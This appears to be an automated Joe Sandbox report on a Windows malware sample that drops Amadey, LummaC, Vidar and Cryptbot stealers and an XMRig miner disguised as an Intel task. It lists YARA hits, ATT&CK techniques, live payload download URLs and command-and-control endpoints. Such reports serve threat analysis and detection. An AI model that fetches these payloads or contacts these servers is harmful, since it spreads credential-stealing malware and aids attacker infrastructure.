Source: Yara match	File source: 00000002.00000002.2247136895.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2255040928.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2167049824.0000000005120000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 00000030.00000002.3293156720.0000000003EB5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3293156720.0000000003FDA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 343658ec78.exe PID: 1336, type: MEMORYSTR
Source: Yara match	File source: C:\xxzyi\a165d57aad8045aabeccfce221a720ca.exe, type: DROPPED

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.6:49932 -> 185.121.15.192:80

Remote Access Functionality

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 00000030.00000002.3293156720.0000000003EB5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.3293156720.0000000003FDA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 343658ec78.exe PID: 1336, type: MEMORYSTR
Source: Yara match	File source: C:\xxzyi\a165d57aad8045aabeccfce221a720ca.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004DEC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		15_2_004DEC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_004DDF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		15_2_004DDF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Native API	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 DLL Side-Loading	212 Process Injection	11 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Scheduled Task/Job	11 Scheduled Task/Job	11 Scheduled Task/Job	41 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	121 Software Packing	NTDS	851 Security Software Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	12 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	261 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	261 Virtualization/Sandbox Evasion	Proc Filesystem	11 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1018827001\952a8c77c9.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Avira	HEUR/AGEN.1352802
C:\Users\user\AppData\Local\Temp\1018825001\1c9c0bfc1e.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1018826001\4e4758e1fa.exe	100%	Avira	HEUR/AGEN.1320706
C:\Users\user\AppData\Local\Temp\1018827001\952a8c77c9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\xxzyi\a165d57aad8045aabeccfce221a720ca.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018825001\1c9c0bfc1e.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018822001\5ec1855a88.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1018826001\4e4758e1fa.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	28%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	57%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
C:\Users\user\AppData\Local\Temp\1018821001\3514655e0a.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1018823001\212ab81242.exe	28%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1018824001\343658ec78.exe	57%	ReversingLabs	ByteCode-MSIL.Trojan.Zilla
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	70%	ReversingLabs	Win64.Trojan.Nekark
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	70%	ReversingLabs	Win64.Trojan.Nekark
C:\xxzyi\87322bc62a3f46ebac8ba4f227f3c48a.exe	0%	ReversingLabs
C:\xxzyi\a165d57aad8045aabeccfce221a720ca.exe	74%	ReversingLabs	Win32.Trojan.Malgent

Name	IP	Active	Malicious	Reputation
home.fivetk5ht.top	185.121.15.192	true	false	high
treehoneyi.click	104.21.91.209	true	false	high
github.com	20.233.83.145	true	false	high
raw.githubusercontent.com	185.199.110.133	true	false	high
t.me	149.154.167.99	true	false	high
frostman.shop	116.203.12.114	true	true	unknown
discokeyus.lat	104.21.21.99	true	false	high
www.google.com	142.250.181.132	true	false	high
ax-0001.ax-msedge.net	150.171.28.10	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high
fivetk5ht.top	185.121.15.192	true	false	high
httpbin.org	34.226.108.155	true	false	high
grannyejh.lat	unknown	unknown	false	high
sweepyribs.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
necklacebudi.lat	false	high
http://fivetk5ht.top/v1/upload.php	true	unknown
aspecteirs.lat	false	high
https://github.com/Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
treehoneyi.click	true	unknown
sustainskelet.lat	false	high
crosshuaht.lat	false	high
rapeflowwj.lat	false	high
https://github.com/Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851?argument=oOW9CjHaPjxGyBfT1734725622	true	unknown
https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/biyjdfjadaw.exe	false	high
energyaffai.lat	false	high
https://httpbin.org/ip	false	high
https://treehoneyi.click/api	false	high
https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/ktyihkdfesf.exe	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851	false	high
grannyejh.lat	false	high
discokeyus.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://html4/loose.dtd	5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	false	high
http://ocsp.sectigo.com0	skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	false	high
https://github.com/Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exejR	343658ec78.exe, 00000030.00000002.3286099613.0000000000EA4000.00000004.00000020.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/loadman/random.exe1	skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com/profiles/76561199809363512	343658ec78.exe, 00000030.00000002.3293156720.0000000003FDA000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3293156720.0000000003EB5000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3289482900.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, a165d57aad8045aabeccfce221a720ca.exe.48.dr	false	high
https://github.com	343658ec78.exe, 00000030.00000002.3289482900.0000000002EEE000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.43/Zu7JuNko/index.phpC=	skotes.exe, 0000000F.00000002.3439936346.0000000000DA8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contoso.com/License	powershell.exe, 00000032.00000002.3183984883.0000000005296000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.rs/getrandom#nodejs-es-module-support	212ab81242.exe.15.dr	false	high
http://185.215.113.16/luma/random.exe3pH	skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://.css	5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	false	high
http://185.215.113.16/luma/random.exe6ncoded	skotes.exe, 0000000F.00000002.3439936346.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://t.me/k04ael	343658ec78.exe, 00000030.00000002.3293156720.0000000003FDA000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3293156720.0000000003EB5000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3289482900.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, a165d57aad8045aabeccfce221a720ca.exe.48.dr	false	high
http://185.215.113.16/luma/random.exe	skotes.exe, 0000000F.00000002.3439936346.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	false	high
https://curl.se/docs/hsts.html	5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	false	high
http://github.com	343658ec78.exe, 00000030.00000002.3289482900.0000000002F0C000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3289482900.0000000002EFA000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	false	high
https://aka.ms/pscore6lB	powershell.exe, 00000032.00000002.3173315319.0000000004231000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 00000032.00000002.3183984883.0000000005296000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000032.00000002.3183984883.0000000005296000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com7	skotes.exe, 0000000F.00000002.3439936346.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	343658ec78.exe, 00000030.00000002.3289482900.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.3173315319.0000000004231000.00000004.00000800.00020000.00000000.sdmp	false	high
http://.jpg	5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	false	high
https://raw.githubusercontent.comD	343658ec78.exe, 00000030.00000002.3289482900.0000000002F94000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000032.00000002.3183984883.0000000005296000.00000004.00000800.00020000.00000000.sdmp	false	high
https://sectigo.com/CPS0	skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000032.00000002.3173315319.0000000004386000.00000004.00000800.00020000.00000000.sdmp	false	high
https://curl.se/docs/http-cookies.html	5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/karl/random.exe	skotes.exe, 0000000F.00000002.3439936346.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000032.00000002.3173315319.0000000004386000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000032.00000002.3173315319.0000000004386000.00000004.00000800.00020000.00000000.sdmp	false	high
http://raw.githubusercontent.comd	343658ec78.exe, 00000030.00000002.3289482900.0000000002F94000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/loadman/random.exe	skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://xmrig.com/wizard%s	Intel_PTT_EK_Recertification.exe, 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002A.00000002.2960101679.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000032.00000002.3183984883.0000000005296000.00000004.00000800.00020000.00000000.sdmp	false	high
https://t.me/k04aelm0nk3Mozilla/5.0	a165d57aad8045aabeccfce221a720ca.exe.48.dr	false	high
http://home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv17	5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	false	high
http://github.comd	343658ec78.exe, 00000030.00000002.3289482900.0000000002F0C000.00000004.00000800.00020000.00000000.sdmp, 343658ec78.exe, 00000030.00000002.3289482900.0000000002EFA000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://curl.se/docs/alt-svc.html	5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	false	high
https://xmrig.com/wizard	Intel_PTT_EK_Recertification.exe, 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002A.00000002.2960101679.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/martin/random.exe	skotes.exe, 0000000F.00000002.3439936346.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 00000032.00000002.3173315319.0000000004386000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/burpin1/random.exe	skotes.exe, 0000000F.00000002.3439936346.0000000000D60000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000F.00000002.3439936346.0000000000DC0000.00000004.00000020.00020000.00000000.sdmp	false	high
https://treehoneyi.click/	212ab81242.exe, 0000002F.00000002.3168600278.0000000003AC7000.00000004.00000800.00020000.00000000.sdmp, 212ab81242.exe, 0000002F.00000002.3166407119.0000000001609000.00000004.00000020.00020000.00000000.sdmp	false	high
https://treehoneyi.click/apilVh	212ab81242.exe, 0000002F.00000002.3168600278.0000000003AC7000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://185.215.113.16/luma/random.exec61395d	skotes.exe, 0000000F.00000002.3439936346.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.43/Zu7JuNko/index.phpt	skotes.exe, 0000000F.00000002.3439936346.0000000000E11000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.m	powershell.exe, 00000032.00000002.3187064857.0000000006E8C000.00000004.00000020.00020000.00000000.sdmp	false	high
https://httpbin.org/ipbefore	5ec1855a88.exe, 0000002E.00000003.3005568440.0000000007106000.00000004.00001000.00020000.00000000.sdmp	false	high
http://crl.micro	212ab81242.exe, 0000002F.00000002.3168600278.0000000003AC7000.00000004.00000800.00020000.00000000.sdmp	false	high
https://raw.githubusercontent.com	343658ec78.exe, 00000030.00000002.3289482900.0000000002F94000.00000004.00000800.00020000.00000000.sdmp	false	high
https://treehoneyi.click/F	212ab81242.exe, 0000002F.00000002.3168600278.0000000003AC7000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, random[1].exe.15.dr	false	high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000032.00000002.3173315319.0000000004386000.00000004.00000800.00020000.00000000.sdmp	false	high
https://steamcommunity.com/profiles/76561199809363512m0nk3Mozilla/5.0	a165d57aad8045aabeccfce221a720ca.exe.48.dr	false	high
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	high
http://raw.githubusercontent.com	343658ec78.exe, 00000030.00000002.3289482900.0000000002F94000.00000004.00000800.00020000.00000000.sdmp	false	high
https://xmrig.com/docs/algorithms	Intel_PTT_EK_Recertification.exe, 00000029.00000003.2953734889.0000023AB23F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000002A.00000002.2960101679.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/burpin1/random.exe60	skotes.exe, 0000000F.00000002.3439936346.0000000000D60000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://usbtor.ru/viewtopic.php?t=798)Z	3514655e0a.exe, 00000011.00000000.2857148874.0000000000423000.00000002.00000001.01000000.00000009.sdmp, random[1].exe.15.dr	false	high
http://185.215.113.16/luma/random.exe0	skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://treehoneyi.click/apiR	212ab81242.exe, 0000002F.00000002.3166407119.0000000001548000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/unique2/random.exe	skotes.exe, 0000000F.00000002.3439936346.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.121.15.192	home.fivetk5ht.top	Spain	207046	REDSERVICIOES	false
34.226.108.155	httpbin.org	United States	14618	AMAZON-AESUS	false
104.21.91.209	treehoneyi.click	United States	13335	CLOUDFLARENETUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
20.233.83.145	github.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.199.110.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
127.1.10.1	unknown	unknown	unknown	unknown	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579113
Start date and time:	2024-12-20 21:11:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	52
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@72/54@22/10
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.195.62.26, 184.30.21.144, 23.195.62.28, 142.250.181.99, 172.217.19.206, 64.233.162.84, 184.30.21.171, 20.190.177.19, 20.103.156.88, 13.107.246.63, 20.109.210.53, 20.223.35.26, 2.16.158.33, 150.171.28.10, 2.16.158.169, 20.74.47.205
Excluded domains from analysis (whitelisted): storeedgefd.dsx.mp.microsoft.com.edgekey.net.globalredir.akadns.net, slscr.update.microsoft.com, e13678.dscb.akamaiedge.net, tse1.mm.bing.net, store-images.s-microsoft.com-c.edgekey.net, clientservices.googleapis.com, g.bing.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, arc.msn.com, storeedgefd.xbetservices.akadns.net, www.microsoft.com-c-3.edgekey.net.globalredir.akadns.net, e12564.dspb.akamaiedge.net, www.microsoft.com-c-3.edgekey.net, clients2.google.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, ocsp.edge.digicert.com, prod.fs.microsoft.com.akadns.net, storeedgefd.dsx.mp.microsoft.com, www.bing.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, ctldl.windowsupdate.com, storeedgefd.dsx.mp.microsoft.com.edgekey.net, fe3cr.delivery.mp.microsoft.com, store-images.s-microsoft.com, e16646.dscg.akamaiedge.net, clients.l.google.com, www.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:13:02	API Interceptor	143248x Sleep call for process: skotes.exe modified
15:13:29	API Interceptor	26x Sleep call for process: powershell.exe modified
15:13:47	API Interceptor	1x Sleep call for process: 212ab81242.exe modified
15:13:52	API Interceptor	63x Sleep call for process: 343658ec78.exe modified
15:14:03	API Interceptor	56x Sleep call for process: 5ec1855a88.exe modified
21:12:11	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
21:13:27	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
185.121.15.192	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.thirtgt13pt.top/xXjBuasiAlUtxjHhtPcq1734624688
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.tentk10pt.top/HfKLHljvcctMDHZDaAmV1734701446
	Set-up.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.twentytk20pt.top/ORoWtRYgVgDaQibUWeOu1734624689
	t3VyxF5MmA.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	home.fivetk5ht.top/zldPRFrmVFHTtKntGpOv1734579851
